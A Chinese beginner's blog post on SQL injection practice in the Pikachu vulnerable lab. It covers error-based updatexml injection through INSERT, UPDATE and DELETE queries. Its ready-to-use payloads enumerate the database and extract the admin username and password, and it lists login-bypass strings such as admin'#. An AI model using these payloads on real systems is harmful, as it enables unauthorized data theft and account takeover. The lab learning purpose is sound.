萌新学习sql注入5

多种注入

实验环境:pikachu

insert注入

原理:insert into users(id,username,password) values (2,'username'or updatexml(1,concat(0x7e,database()),0),'password')

在这里插入图片描述

1' or updatexml(1,concat(0x7e,database()),0) or'

1’闭合前面的单引号,or’闭合后面的单引号
在这里插入图片描述
修改updatexml中的语句即可,一定要用英文,我用中文重写了好几次才发现…

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

更改limit 0,1的值得到了httpinfo,member,message,users,xssblind等表,我没继续爆了,因为看到了users表
在这里插入图片描述

1' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0) or'

爆出了user和password,直接得值

1' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0) or'

在这里插入图片描述

1' and updatexml(1, concat(0x7e, (select password from users limit 0,1)), 0) or'

在这里插入图片描述
第一个即为admin和密码

update注入

原理:update users set password='password' or updatexml(1,concat(0x7e,database()),0) where id=2

在这里插入图片描述
首先登陆,然后修改个人信息,原理是一样的,不再多说。我的环境好像炸了。。。。。

delete注入

原理:delete from users where id=2 or updatexml(1,concat(0x7e,database()),0)

在这里插入图片描述
进行删除操作的时候发送了get请求,能不能在id=76 后面加入语句呢?

?id=2 or updatexml(1,concat(0x7e,database()),0)

在这里插入图片描述
显然爆出来了数据库,报错注入即可。
强调一点:抓取本地127.0.0.1的包时要将127.0.0.1改为本地ip
在这里插入图片描述

万能密码

原理:select * from user where username= ‘’ and password= ''

  1. admin’#
    在这里插入图片描述
    admin和password都为admin,用上述方法
    在这里插入图片描述
    成功登陆了,#把验证密码的部分过滤了,成功登陆

    select * from user where username= 'admin'

  2. select 'a'=0
    在这里插入图片描述
    为1,是真的。
    select * from user where username= ' '+' ' and password= ' '+' '
    在这里插入图片描述
    在这里插入图片描述
    这也是真的,就和select * from user where username=0 and password=0 一样。
    在这里插入图片描述

  3. select * from user where username= 'aaa' = '' and password= ‘aaa’ = ''
    在这里插入图片描述
    因为假逻辑=假逻辑为真
    在这里插入图片描述
    select * from users where 1 and 1
    在这里插入图片描述
    总之万能密码有太多技巧了,网上也可以找到,就不再写了。
    从入门到入土

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值